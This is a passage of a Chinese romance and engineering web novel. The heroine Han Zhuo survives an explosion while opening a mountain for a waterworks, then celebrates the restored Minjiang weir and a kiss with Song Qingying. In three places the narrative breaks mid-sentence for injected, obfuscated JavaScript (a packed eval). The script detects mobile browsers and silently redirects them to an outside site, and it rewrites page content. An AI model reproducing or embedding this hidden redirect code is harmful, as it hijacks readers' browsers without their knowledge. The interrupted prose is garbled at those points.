众人还没未来得及反应,就见几乎是爆裂的火焰接触到四起烟尘的刹那,那灰白的一片浓雾迅速燃烧了起来,速度之快,根本不知道最开始是从哪里开始燃烧的,即使隔着近百米之遥,仿佛也能感觉到几乎逼上面门的热浪,而其中一支火箭刚好射中了绑缚在麻袋上的火/药,“轰”地一声炸开,随后,此起彼伏的爆炸声几乎要将玉垒山底吞噬,灰白的烟尘被乱刮的狂风席卷,迅速朝韩濯这边奔涌而来。 这一系列变化不过在瞬息之间,韩濯心里一紧,大声朝未反应过来的众人吼道:“快跑!” 本以为今日大风,方便将粉尘吹成适合引爆的浓度,可这阵风过于狂暴猛烈,竟然不小心引火上身!韩濯本以为百米之距绰绰有余,可到底低估了这场爆炸的威力。 山现在炸没炸成无所谓,可不能将这些人命赔进去! 众人被方才粉尘爆炸恐怖的威力惊得几乎钉在了地上,听闻这一声,如梦初醒般反应过来,转过头朝着相反的方向撒腿狂奔。 韩濯一把抓起旁边宋青瑛的领子,像拎小鸡仔一般将他提溜了起来,扔到了仅有的一匹马上,狠狠一抽,那马匹一声长嘶,身后爆炸声使马儿受惊一般扬蹄飞奔,宋青瑛焦急的呼喊几乎淹没在了震耳欲聋的爆炸声中。 韩濯用生平最快的速度飞奔,暗自祈祷那几袋未射下的粉尘已经全部炸完,或者在下一波连锁的爆炸没来临之前,众人能迅速撤到安全距离。 就在这时,旁边一个红巾山匪奔跑途中一时不察,鞋子卡进了石缝之中,“哎呀”一声栽倒,慌乱之中没起来身,反而又头朝下栽了下去。 韩濯没来得及细想,抽刀一挥,危机之中竟然使出了超出常人的力量,那石块应声而碎,长刀也寸寸崩裂。韩濯拽起被解救了出来的红巾山匪,拉起他便跑。 他二人已经落在了最后,前方五十米便是一片其后可以藏身的石壁,韩濯咬咬牙,就差一点点,定能...... 就在韩濯以为安全了的时刻,身后一阵轰鸣! 大概是方才藏匿在石洞内被埋下的粉尘袋终于破了,随着轰鸣同来的,一场巨大的冲击波仿佛看不见的拳头,狠狠将韩濯击飞出去。 她两眼一黑,几乎是瞬间失去了对这个世界的感知。 冰冷的雨水砸在了脸上,起初只有一两点,随后雨势骤然大了起来,劈头盖脸砸在了身上,她动了动手指,强行把自己撑了起来。 她只晕过去了几秒。 耳畔一阵嗡鸣,她张了张嘴,大脑仿佛来不及连接上自己的身体,眼前黑色和清明旋转着交叠,前方众人好像喊着什么朝她奔来,为首的那个应该是宋青瑛,但是韩濯神魂仿佛还飘在空中,不知作何反应。 直到宋青瑛冰凉的手扶上了她的肩膀。 宋青瑛耳畔的声音也因着这场爆炸的影响而模糊,仿佛隔着一层雾,他叫着韩濯的名字:“清之?清之你怎么样?” 韩濯突然打了个激灵。 宋青瑛看见她仿佛谁也没有看见一般,口中喃喃说着什么,但他没听清。 “清之?” 韩濯旁若无人一般,朝山脚走去,宋青瑛通过口型,勉强辨认出她说的是什么。 “成了么?” 她周身虽看不见什么伤口,只有脸颊上被碎石划破的细小血痕,但整个人仿佛是刚刚拼凑出来的,被什么人力之外的东西控制着前行。 这个人好像外面是完整的,但里面早就被搅成稀烂。 宋青瑛一阵后怕。 “清之,你别吓我......” 众人都被这副样子的韩濯震住了,簇拥着她一路走到了山脚下,倾盆大雨将原本漂浮在空中的粉尘狠狠击落于地,曾经那一片坚固的山体已经塌下,粗糙的石块被雨水浇洗得一片泽亮。 成了。 韩濯看着看着,任由额角的发丝黏在了脸颊上,衣裳早就湿透了,模糊的雨线里,韩濯眼前蜀州城内的纸醉金迷,城外夕阳西下的饿殍,灌州城内遍地衰朽病残的流民......走马灯一般一一闪过。 她似乎是不敢确认一般看了又看,竟然觉得这处坍塌的废墟,是她这辈子看过最好的风景。 韩濯笑了出来。 她转头,对上宋青瑛被冷雨浇洗得仿佛上釉了一般的玉面,他拉住了韩濯,唇瓣开合,不知道在说什么。 韩濯已经好久没体验过这般的喜悦,仿佛完成了一项有难度的大作业,或者是解出了一道困扰已久的难题,幸福感与满足感让她无法感受得到内府的痛楚,她扬起了笑脸,似乎不明白宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958366|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青瑛为什么一脸忧色,伸手揉了揉宋青瑛湿透了的头发。 “今天任务完成,我们回家!” “疯了!我看这人绝对是疯了!” 李三三狂躁着一甩袍袖,愤怒道:“再有下次,不如教她自生自灭,你们两个胎神一个比一个难搞,我当初一定是脑子被死鬼踢了才上了你们这条贼船!” 宋青瑛来不及管她一口气骂两个,忙问道:“她怎么样?有事么?” “要死了!”李三三没好气道。 宋青瑛本来就被震得有些不好使的耳朵“嗡”一声什么都听不见了,险些忘了呼吸,向后踉跄了几下勉强站定。 李三三被宋青瑛的脸色吓了一跳,才反应过来是自己说的气话被人当了真,又实在咽不下这口气,阴阳怪气找补道:“再有下次,就真死了!” “什么......”宋青瑛缓了缓,反应了过来,追问道:“那她现在是不是没有大碍?” 李三三不敢再吓,撇嘴道:“这回是没事,不过她要是继续这么折腾,我看英年早逝是早晚的事。这些日子教她卧床静养,没有我的准许,不许过度劳累!” “药我开了,记得一日三次......这才几个月,在西京受的内伤还没好全,就被人捅一个窟窿,肩上还射了个洞,现在内府受损,她不烧谁烧?病人太能作死,受罪的最后都是我们大夫......” 李三三抱怨着,收了脉枕针具,嘀嘀咕咕抱怨着走了。 一切安静下来,宋青瑛看向床上昏睡着的韩濯,帮她掖了掖被子,伸手欲触碰她的脸,却半途收了手。 “殿下年纪还小......” “小孩子家家......” “等你长长个子再说吧......” “殿下。” “阿瑛。” 今日他被韩濯扔上了马时,回头看她咬牙独自狂奔,看她不顾生死救他人性命,看她倒下又站起,而自己离她越来越远。 他已经在努力成长了,努力把自己变成一个可以被她信任,甚至依赖的人,可是真正的危难在前时,他还是束手无策。 他与韩濯之间,差的仅仅是那五年的光阴么? 韩濯这样年少成名,精彩绝艳的人,自己凭什么能将她留住,教她在原地等待一个未必有回响的将来? 或许能做小孩子是件幸福的事,但他看到了这层虚假的幸福背后残忍的底色。 天下所有的幸福,无一例外,都是谎言。是一场以爱为名,彻彻底底的蒙骗。倘若他生性木讷,或一世庸碌,便可永远沉浸在这场编织的虚幻里。 可他天性剔透,又生在天家,神佛座下长成却徒生贪嗔,这是老天给他的惩罚。 宋青瑛深深看着韩濯。 她已经和曾经西京城那个神采飞扬的少年人大不相同了,眉宇间更沉稳,做事也更果决,仅仅几月,便仿佛美玉经雕,光华更甚。 但自己呢? 世事人情仿若刻刀,一颗槛外的古拙顽石,要经过多少磋磨,才能入世人的眼,不至被随意丢弃和碾压? 还不够。 宋青瑛觉得:还不够。 他的努力还未到极限,他要揠苗助长,要提前破茧。 47. 小别三月 细柳藏莺,汀洲渐绿。 转眼间,灌州经一番春冬轮回,已过了一年有余。 “今年岁修已结束,后日清明,便是放水的日子了。” 浅滩旁的江水中,可见一容貌俊秀的年轻人,她身着一身利落的短打,裤角卷至膝弯,赤足立于水中,小腿有力线条流畅,似乎被水泡得有些发白。头戴一顶仿佛有些破损的斗笠,正午的阳光从缝隙中投射下来,刺得她眯了眯眼睛,面上却盈盈含笑,晶莹的水珠从没束好的几缕青丝上滴落下来。 此人正是韩濯。 她身旁跟着一群高矮不一的工人,大多身上都背着不小的竹筐,里面装的都是一筐又一筐的淤泥,他们到岸边将竹筐卸下,这些淤泥可堆肥养桑喂蚕,经抽丝剥茧,万千辛苦,最终得几匹光华无双的蜀锦来。亦可与装石的竹笼一起加固堤岸,控水防汛。为首一个面色黝黑的汉子抹了抹脸上的汗,笑出一口歪斜残缺但衬得分外白皙的牙来,开口道:“韩司马,我带着大伙儿都检验过了,您尽可放心吧!” 韩濯笑着点头:“岁修持续四月,何尝不是在和老天抢日子,诸位实在辛苦了,我预备好今年便拟好章程,上书朝廷,此后每年这岷江堰岁修的惯例不可荒废了去,必可保此后蜀地不知饥馑,岁岁丰稔。” 那汉子笑道:“韩司马客气什么?去年因着这岷江堰,三年来终于有一年填饱了肚子,当初闹饥荒,若不是韩司马关照和林长史收留,我们早就死在城楼底下了!” 其余人也此起彼伏地称是,一年来,韩濯无论是开山挖渠,或是淘滩作堰,都同这些人同作同息,这些曾从蜀州逃难的人也是第一回遇见这种甘心找苦吃的官。她性子随和爽快,又没什么官架子,做起事来又毫不含糊。日久天长,众人都实打实地敬服。 韩濯道:“林长史去年已溘然长逝,朗参军与我说,他想为林长史修书立祠,告慰在天之灵,我想起林长史生前那般宅心仁厚,却因着当时灌州事务繁多,不得不在他乡草草安葬,也是不忍。” 众人听闻此事,也纷纷道:“韩司马,有什么用得着我们的尽管吩咐!他老人家施的一口粥,不知活了我们多少人命,这事我们在所不辞!” 韩濯笑了笑道:“有劳。” 说着,她随众人一起前往树下歇息,身旁的阿信给众人分上几碗煮好的甘草水。一番劳作,韩濯也渴了许久,饮尽后通体舒畅,她舒服地长长叹了一口气,靠在树根处坐定,在膝上将工程图展开。 自去年开春前瓶口重开,岷江堰重启,数年晴雨不定的蜀州平原有成沃野千里之势,圣上下旨嘉奖,并教她做了灌州司马。那王大人不知是巧合还是别的原因,被调往了潮州,新上任的蜀州刺史秉性刚直,对岷江堰一事也十分重视,给了足够人手方便调动。韩濯每日在灌州蜀州两地奔走,行动无碍。 这一年来她不断完善岷江堰工事。遵其旧制,在挖好的瓶口上游重整设施,内外江分水。内江窄深而外江宽浅,可使枯水期内江水量可达六成以便灌溉,而丰水期则六成江水涌入外江,四六分水,旱涝保收。瓶口前设矮堰,若内江水量过高可将江水排至外江,排洪防涝,使蜀地避免频发的洪水之患。 而岷江堰的位置,便在现在韩濯所在的浅滩相邻的外江之上,分水之时的八成泥沙便从外江排出。 韩濯闭上眼睛,让微风吹过她的脸颊,脑海中这一条岷江,从此地开始一分二,二分四......直至编制成一张巨大水网,从此盛世再无饥馑,风吹十里稻花香。 她这样想着,觉着风里都带上了青草的香气,而今岁末,想必又会混着稻花的清香,韩濯不由得有些沉醉,太阳高高照着,她竟然有些意志昏沉,将入酣甜梦境。 天朗气清,惠风和畅,几个汉子哼起蜀地的小调来,手中有一下没一下敲着碗碟,荒腔走板倒也别有一番味道,韩濯正要凝神细听,便听一人笑骂道:“怎么,花子没当够,又敲起碗来了?”引起一片哄笑。 韩濯睁了眼,也笑道:“我听着倒是有几番味道,我从前也爱听些词啊曲的,不妨事,老伯爱唱便唱。” 那老伯被起哄得有些囧,方才不过是一时心情舒畅哼哼几句,真被众人盯着他不免紧张起来,为了掩饰仍嘴硬道:“人家韩司马都教我唱,你们这些惯会扯把子的给我听好了!” 说着他清了清嗓子,用蜀地方言唱了首小调,韩濯不懂蜀话,只零零星星听得一点什么“冷雨凄风秋点点,寥落木声声......” 待他唱完,韩濯先拍了拍巴掌,问道:“这曲子讲的是什么?” 那老伯见韩濯赞他,得意洋洋道:“这是老叫花我从前在婉音姑娘那听得的曲子,说的是一女子夜间行路遇雨,便入庙借宿,见房间里挂着一张神女图,她瞧了半天,竟然神魂颠倒出窍,从此一病相思,几乎命陨......” 这故事倒有意思,很是符合蜀地向来开放的民风,韩濯不禁问道:“然后呢?” “然后......然后我就不知道了。” 众人失望地发出一阵嘘声,引得这老伯面红耳赤,韩濯刚要笑着开解,便听一阵嘚嘚驴蹄踏石。韩濯抬头,见不远处李三三坐在死鬼背上朝她一边招手,一边喊道:“喂!他回来了!” 韩濯倏然从地上站起,难掩喜色,周围几个知情的看着韩濯的样子笑道:“韩司马可快回去吧,这边也就最后收个尾用不着您操心,别叫这么寒碜的一身被公主殿下瞧见才紧要啊!” 此言一出,不知情的也知情了,顿时轰地爆发出一阵大笑,韩濯也不恼,无视他们拿自己开涮的浑话,笑着招呼阿信跟着自己,便随李三三走了。 韩濯和宋青瑛已有大约三月未见,自去年以来,宋青瑛仿佛转了性,从前恨不得日日黏在韩濯身边,但后来似乎想通了什么,韩濯这边岷江堰初成,他便一改以往性子,常常招呼也不打便带了人早出晚归,起初韩濯只当他内心有别的成算,可没想到夏末他留了字条便去往西京,吓得韩濯连夜派吴钩带人护送,接到吴钩报平安的信才略放下心。 岷江堰这边韩濯脱不开身,几乎要以为长宁公主终于受不了这风里来雨里去的鬼日子了,可待宋青瑛回来,韩濯目瞪口呆地发现,他带回的是白花花的银子。 也不知他在韩濯每日埋头画图写方案的时间里都做了什么工作,几番来回,宋青瑛几乎垄断在蜀州和西京两地买卖蜀锦织物的商路,小小年纪赚的银子,就比韩濯这辈子看过的都多。 从前宋青瑛对韩濯几乎为零的理财习惯大为不满,但是现在大不相同了,穷人想攒钱,富人思挣钱,对着韩濯,宋青瑛再也说不出“俭省”二字。 不过韩濯是个彻头彻尾的败家子。 从前韩濯设计岷江堰工事时,不仅要顾忌方案是否有效可行,还要精打细算,尽量俭省,可宋青瑛有了钱后,可谓是广阔天地任她作为,韩濯各种天马行空,意图尽善尽美的想法便落入实地。一开始不过是淤泥建堤,后来又要造铜人,又要雇人多次分水,甚至最后韩濯搞出了机械闸门的方案,引得李三三看了都嘴角直抽。银子好挣,可铁器官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听闻这熟悉的声音,韩濯带着被发现的恐惧差点吓出一身冷汗,站得溜直,对上朝自己走来的宋青瑛。 他似乎又长高了,唇边带着隐约的笑意,一身月白色的袍子愈发衬得额间红痣耀眼,原本圆润的脸颊有了棱角,看上去平添几分英气,李三三也卡了一下壳,若不是她清楚宋青瑛平常一身襦裙的模样,都要恍惚觉得长宁公主更像一个富家公子哥了。 韩濯把李三三几句话打发了,引得此人临走前带着怒意的大眼死亡凝视。 “咳咳......” 多日未见,韩濯突然千头万绪不知从何说起,她清了清嗓子道:“殿下一路可还平安?” 宋青瑛定定看着韩濯,似乎要把她瞧出一个窟窿来,把韩濯弄出了一身的鸡皮疙瘩。 “平安的。” 韩濯不自在地伸手挠了挠鼻子,却冷不防被人拉住了手。她下意识要往回抽,却被死死攥住动不了分毫。 韩濯也不知他要干什么,有些不自在道:“哎,你......” 未待她说完,宋青瑛便引她坐了下来,从怀中掏出了桂花油膏,均匀地涂在了她的指尖。 韩濯愣了一下。 她的手泡在冷水里,几月积累下来,指尖遍布细小的裂口,她自己粗枝大叶,冬季里长了冻疮,开春才痊愈,可遇上天气干燥,这些小口子不免裂开,添上一点血痕。 韩濯无所适从起来,不怎么适应这种有些腻歪的伺候,但宋青瑛只是一味地给她涂油膏,并未发表什么意见,弄得她掌心痒痒的。 韩濯看着宋青瑛的发顶,突然笑了起来。 “还真长高不少。” 宋青瑛听闻此话,手上动作一停。 下一秒,韩濯被人拦腰抱住了。 她意外地空举着双手,犹疑了片刻才缓缓放下,触上了宋青瑛的后背。 那人闷声道:“姐姐,我好想你。” 48. 生辰贺礼 韩濯被宋青瑛突如其来的撒娇打了个措手不及,抱着觉得肉麻,松开又舍不得,只能笨拙地拍了拍他的背。 “你......这回呆多久,还走么?” 宋青瑛缓缓起了身,盯着韩濯看了半天,缓缓道:“姐姐若愿意见我,我便多留些时日。” 韩濯一噎,随后有些硬邦邦道:“好好说话!那个…你想吃点什么,我叫人给你准备,苏州的东西吃得惯么,是不是甜了些?” 宋青瑛随着韩濯起身,笑道:“清之还不晓得我?吃什么都吃得惯,不必叫人特地准备,我随便用些粥饼垫垫肚子就好。对了……” 说着,他不知从哪摸出一个匣子来,颇为珍重地递了上去:“清之,你看看合不合心意?” 那是一把寒光闪闪的宝刀,精璨耀眼,冷意森森。韩濯虽只看了一眼,便知绝非凡品。 从前韩濯常用的那把早就四分五裂,其他的用着也并不趁手,好在自刀毁后她的精力全用在了岷江堰工事上,也用不着成日打打杀杀。 她握在手上颠了颠:“这不便宜吧,真是送我的?” 宋青瑛笑道:“之前多少银子都花出去了,也不差这一把刀,清之若是用着不可心,我再替你寻一寻。” “你如今倒是出息了。”韩濯玩笑道:“好阔的口气。” 宋青瑛走近,笑道:“清之到底满意不满意?” “自然。” “那给我的谢礼呢?”宋青瑛一双眼似笑非笑,半戏谑半认真地问道。 “额……” 说起来可实在是大大不该。 清明过后,便是长宁公主生辰,去年宋青瑛一言不发离开蜀中,哪里来得及给他过生?而今年韩濯于情于理不能没有表示。当初她也的确放在心上,找了李三三做参谋,欲给宋青瑛备一份别出心裁的生辰礼。 可韩濯此人思维十分跳脱。 既然要备一份别出心裁的贺礼,那自然最好是别的地方买不到,整个大齐绝无仅有才好;既然要绝无仅有,那不妨自己做一个;既然要自己做一个,不妨调动创新精神和求是精神设计出一个实用的东西。 然后韩濯就完全跑偏了。 她忘记了自己的初衷是为了给公主殿下备贺礼,转而认认真真搞起了发明,把自己的课题定成了:滚珠轴承在马车车轮上的应用。 韩濯以惊人的毅力,迅速画出了拆解图纸,用朴素的木工工具切削硬木滚柱,光是代替保持架,用来限位的滚柱槽就废了大力气,她头也不抬把自己关在木屑四溅的房间里好几个晚上演绎“闭门造车”,组装完成后为了更加完美锦上添花,还特地去屠户那讨了猪油来润滑,把小车车盘得晶润润油亮亮。 最后,搞出了一个两只手大的滚柱轴承马车模型。 是的,模型。 当她兴致勃勃地找李三三展示自己的成果时,被骂了个狗血淋头。 “就这玩意?还不如我备点好酒来的实在!” “怎么会呢?”韩濯急道:“你看,我们传统的马车是滑动轴承,颠簸感强不说还容易摩擦受损,这个模型若是日后能推广开来,木质滚柱和车轮换成金属的,应用起来绝对……” 李三三忍无可忍道:“你有病吧!这玩意运只刚出生的猫崽子还差不多,有那功夫加工这轮子,你吭哧吭哧磨个轮儿,人家腿儿着走都走到了!” “你怎么能这么说呢…”韩濯辩驳,觉得李三三无理极了:“明明是非常有意义的项目啊,再说了这样一辆好车能用一百年,难道不算降低成本,绿色节能……” “乱七八糟说什么鬼话…你真把这玩意送人家,我要是殿下,得气撅过去。” 对哦。 这本来是个生辰礼来着。 韩濯顿时哑巴了。 “就是这个了。” 宋青瑛盯着巴掌大的马车模型瞧了又瞧,也不做评价。 韩濯糊弄人的话张口就来:“殿下出门在外舟车劳顿,总是颠簸受苦,为了解决殿下出行不方便的问题,我就设计了这种新的车轮,缓冲颠簸,减少摩擦,延长使用寿命……” 韩濯编造研究背景的能力一流,简单来说就是先造个蛋,再捏造一个不存在的母鸡,也不知道宋青瑛是不是真的听明白了,问道:“这种东西若推广开来,需要多少银子?” 韩濯莫名有一种答辩时被问了刁钻问题的感觉:“额……这个不清楚,还是要看木工师傅要多少,当然要是能炼钢什么的,哪怕用青铜替代都比用硬木好,毕竟容易烂。” 她对金钱没什么概念,分明就是管杀不管埋,哪里是给宋青瑛生辰礼,完全就是欺骗人家投资。 宋青瑛似笑非笑看着她。 韩濯实在装不下去了,摆烂道:“好吧,我异想天开了,我们现在的技术水平推广起来确实还是有困难……但是这个结构真的很先进!有朝一日一定……” “挺好的。” “啥?” “我说,挺好的,这个东西日后一定有用。” 疑似委婉表达这东西目前没用。 不过韩濯仍然有被鼓舞到,眼睛亮了亮,觉得自己为了这破玩意得的肩周炎还算值得。 宋青瑛珍重地把这看着没什么用的模型收了起来,预备放在床头当个寒碜的摆件。 “谢谢清之送的生辰礼,我很喜欢。” 韩濯被消磨得只剩了点渣的良心终于跳了两下,对主人无声谴责。 “虽然,这其实是我妹妹的生辰。” 韩濯才反应过来这回事。 她目光微动,问道:“那你的生辰呢?以后关起门来,我单独给你庆贺,旁人都不晓得……” “不知道,应该是在冬日,寺里的师傅说那天雪还没化……” 宋青瑛脸上并无自怜之意,但韩濯看他越看越可怜,有些后悔刚刚没好好抱他一抱。 “哪天都没关系。”韩濯道:“你什么时候高兴庆生,我便陪你什么时候庆生。” “当真?” “当真。” 宋青瑛凑近了些:“那清之,若是我想今日向你讨生辰礼,你允不允?” 韩濯笑道:“还真是得寸进尺,我都送你了……” 看着宋青瑛的眼神,韩濯把下半截话吞了。 别人不知道,她自己不知道这所谓“生辰礼”到底是怎么回事么? 她败下阵来:“行行行,殿下要什么?” 宋青瑛没说话。 他又朝韩濯走进了些。 宋青瑛真的长大不少。 韩濯感叹。 原来才只到她肩膀呢,这两年个头窜得飞快。也是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982635|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计不吃素之后伙食变好,肉蛋奶补充充足,长得快很正常,那他长得这么快,会不会生长痛膝盖痛,需不需要补补钙? 韩濯脑子一抽,问道:“殿下腿痛不痛?” 宋青瑛停住了,露出一线一言难尽的表情。 “额……我的意思是……” “清之。” 韩濯闭了嘴。 宋青瑛离她只有三公分。 “我可以亲亲你么?” 韩濯脑子里炸开了花,宋青瑛的本事真是高明了,都能脸不红心不跳地讨亲。 也不知道韩濯的脑子今天出了什么毛病,她秃噜出来一句:“你确定只亲对吧……” 宋青瑛肉眼可见地僵了一下,片刻才道:“清之想干别的也不是不行,但能不能给我点时间学习一下……” “想什么呢,”韩濯反咬一口:“你又没满十八。” 宋青瑛还没想明白十八岁有什么特殊的含义,就感觉到柔软而干燥的东西贴上了唇。 他什么也看不见了。 和上回失去理智的感觉不一样,带着试探的青涩和缠绵,两厢情愿。 他也试着回吻,心跳如擂鼓。 像是抚花,又像酿蜜,二人纵然理论知识并非一片空白,甚至称得上丰富,骤然实践起来也颇有难度,韩濯似乎不想叫人看扁了去,动作带了些急躁的凶狠。 宋青瑛呼吸粗重了起来,也不甘示弱,抓上了韩濯的肩膀,一边回应一边喘着气。 这简直是助纣为虐。 分开时,二人都有些目眩,韩濯舔了舔嘴唇,对上宋青瑛有些闪躲的目光。 “我说殿下,”韩濯笑道:“怎么敢做不敢看,害羞什么?” 宋青瑛下意识反击:“清之,你耳朵好红。” …… 对视片刻,二人噗嗤一下笑出了声。 韩濯笑着笑着,看着宋青瑛因着方才变得水红的眼睛,光华璀璨,一片潋滟。 她着了魔一般又凑上去,细碎地亲了亲他的眼皮和额头的红痣。 “这生辰礼,殿下满意了么?” 宋青瑛没料到她还有后手,肉眼可见地熟了,彻底装不成一副云淡风轻的模样,捂住了自己的脸,一面摇头一面傻笑。 “好了好了,”韩濯道:“别傻笑了,你此番回来的正是时候,如今岁修已彻底结束,这是岷江堰正式重启的第二年,比去年还完善不少,后日要开闸放水,祭祀设宴,到时我们同去。” 宋青瑛笑着点了点头:“自然,我一路来早就听说韩司马神通广大,都说此人是墨家传人,鲁班转世呢,可算有机会瞻仰一二,怎能辜负?” 韩濯敲了一下他的鼻梁:“出去一趟学得油嘴滑舌,真是学坏了。” 说话间,宋青瑛扫过桌子上的几张笔记,正是从前他看不大懂的鬼画符,心里一动,开口问道:“清之,从前墨娘子请你注解的那些……” 韩濯了然:“哦,那是我写废的几张,我已经注解完给墨娘子送过去了…怎么?” 韩濯突然精神起来:“墨娘子那个师姐的事情,你有眉目了?” 此人很有可能和韩濯是一个时代的同乡,可惜韩濯多方打听,一年有余也没什么进展。 宋青瑛在韩濯仿若陷入狂喜一般的眼神中摇了摇头。 49. 君恩不负 清明。 虽未下雨,空气里仍泛着潮湿的水汽,远山浸在薄雾里,像几抹宣纸上稀释的墨痕。 清晨的江畔立了几面大鼓,鼓身漆成朱红,几个精壮的汉子并几个骨肉结实的年轻姑娘,抡起缠了红绸的鼓槌,将大鼓擂得隆隆作响,像是天际传来的雷霆之音。 随着韩濯一声令下,一个皮肤黝黑的老伯长声喊道:“放水——” 连成一排的杩槎被拉开,被其拦截的江水顺势奔流而下,滚珠玉碎,涌向经过一年清淤的河道,如叶脉一般向南延伸。 “修这岷江堰,可不是一劳永逸,需要代代相传,遵循旧制,不断完善,现在我能做的不过是将前辈的经验整理复现出来,若日后生产技术能更上一层楼,水闸啊堤坝啊,都能再进一步。”韩濯道:“这岷江堰在一日,便能保蜀地百姓吃饱一日,我想修书传世,设立专司官制,哪怕来日我没入黄土,这滔滔江水也能千年不竭。” “喏,经过这些日子岁修,可保今年岷江两岸免受涝灾,殿下你看,这便是我们趁着枯水期修的矮堰,用它拦截江水,同时每年都需要深挖内江河道,直至河床里深埋的十八个铜人方止。” 宋青瑛看着涌溅起的江水浩荡而下,没过内江河床,冷不丁问道:“铜人的位置如何确定呢?” 韩濯下意识答道:“自然是经过汛期多次下水测绘......” 宋青瑛心头百转,沉默良久,最后才冒出来一句:“李三三都跟我说了。” 韩濯立刻止住了话头,险些咬了舌头。 “这个大嘴巴!”她低声狠狠骂道,朝不远处宴席旁无聊敲碗等饭的李三三瞪去。 李三三对上韩濯的眼神简直莫名其妙,无辜地摊了摊手。 “清之,你不必看她了。”宋青瑛叹道。 他方才只是试探一下,没成想瞎猫碰死耗子,韩濯还真有事瞒他。 韩濯愕然,转头望向宋青瑛,咬牙切齿道:“你竟然诈我!” 还没等她呲完牙,宋青瑛便拉住了她的手,虽是带着笑,神色竟然有些苦意。 “岷江堰重修,是利于生民的好事,我今日见了,也不免心神激荡,若此事我能略尽绵薄之力,不论你需要什么,只要一句话,便是粉身碎骨我也要帮你办成......” 韩濯闻此嘟囔道:“倒也不必立这么重的誓,未免太严肃了些......” 宋青瑛接着道:“清之,我知你非池中物,秉性赤诚,天资卓绝,将来我之名姓能与你并肩书于青史,是天大的幸运,你做的都是大事,我知道不该阻你,可我始终......有不甘的私心。” 韩濯看着他,周围欢呼声和江水奔流声混杂,可她耳中宋青瑛的声音清晰如斯。 “为何不甘?”韩濯缓缓问道。 “因我身微末,纵耗心力,不见华枝,难酬君泽。” 韩濯笑了笑说:“可我见你,从来都是一树春满,你又何苦去单折那寒枝?” 宋青瑛轻轻道:“夸父逐日,精卫填海,纵然邓林森森,沧海成田,可广厦千万间,我总怕那人独立于风雪。” 韩濯许久说不出话。 她本以为宋青瑛会兴师问罪,可他这一番话几乎是把一颗七窍玲珑的心剖给了自己看。 他不该阻碍,却始终不忍。 “我......” 韩濯嗓子有些哑,清咳两声道:“我会珍重自己的,殿下放心,再者说......” 她朝宋青瑛扬起一个明媚的笑:“不是有你么,我怎会独立风雪?” 宋青瑛一时心神荡漾,拉住了韩濯的手。 一群带着面具的蜀人跳起了傩舞,水花溅起,将人的皮肤打湿得晶亮,韩濯拉着宋青瑛入席,席面十分简陋,也不分官民贵贱,其中不乏当初被招工的那一堆老弱病残,一群姿态各异,衣着不同的百姓围着篝火又唱又跳,不醉人的米酒用缺了口的海碗盛装,一碗一碗灌进不同人的口中,粗布衣襟浸满了酒香,韩濯看着这场景只是笑,时不时有村人邀她加入起舞的众人,她都以陪长宁公主为由拒绝了。 “那不是红巾......张大成么,他怎么也在?”宋青瑛见李三三正与旁边一个看着十分眼熟的男子有说有笑地攀谈,想了半天才想起来这人是谁。 “是啊。”韩濯理所应当道:“这一年多我们早就混熟了,他帮了我不少忙。” 当年韩濯无意中帮红巾军除掉灵山村山匪这个大麻烦,后来又在开凿玉垒山时舍命救下红巾军中一个说得上话的兄弟,此后红巾军几乎成了自己人,张大成也时不时过来探望李三三,今日放水祭祀,他来观礼实在太正常不过。 “那他......他和李三三到底怎么回事?” 韩濯耸了耸肩:“我哪里知道,李三三也不告诉我,之前我还蛮担心他会对三三不利,单独来找她时我还暗中听过几次墙角,就怕他干出什么事来,被李三三发现还骂了我一顿,我多委屈。” 宋青瑛听着有点想笑:“听墙角真的是完全为了她安全考虑?” “当然!”韩濯一本正经道:“我是那么喜欢听人八卦的人么,不过......我后来也确信,确实没什么八卦可听。” “怎么?” “我实在是听不出李三三对那张大成有一丝一毫旖旎心思,他们两个说话规矩的很,而且他虽然紧张李三三的健康安危,成日里嘘寒问暖的,却偏偏保持距离,分外坦荡,连一点暗示都没有。” 听到这,宋青瑛想道:就算有,我觉得你也听不出来。 “但是他有时候总是暗示我......” 宋青瑛警惕地一激灵:“暗示什么?” 韩濯见宋青瑛似乎理解错了,忙解释道:“你别瞎想,他总觉着李三三在我这儿受委屈,吃不饱饭......暗示我多给她俸禄,提高待遇......真是岂有此理,她那么厉害的小辣子,只有我在她那受委屈的份儿,还需要他张大成替李三三鸣不平?也就在他眼里李三三柔弱可欺,你问问周围大爷大娘,谁不敬咱们李大夫三分?” 宋青瑛笑道:“这也奇了,难不成他们两个真一见如故,要结为义兄妹不成?” 话音刚落,李三三那边爆发出一阵爽朗的笑声:“好啊,好啊,皇天后土在上,今日良辰吉日,我们何不就地拜了把子?” 韩濯震惊地看上宋青瑛,轻声道:“果然殿下是修行人,言出法随啊,简直功力深厚!” 宋青瑛还未从李三三一声“拜把子”那边缓过神来,就听那边叫道:“喂!还有殿下,你们过来给我们二人做个见证!” 韩濯不满抗议道:“我不叫喂!” 李三三并不理,拽起比他高出一个头的张大成道:“怎么不说话,到底乐意不乐意?” 周围几个跳舞的村民们停了下来,挤挤挨挨过来凑热闹。 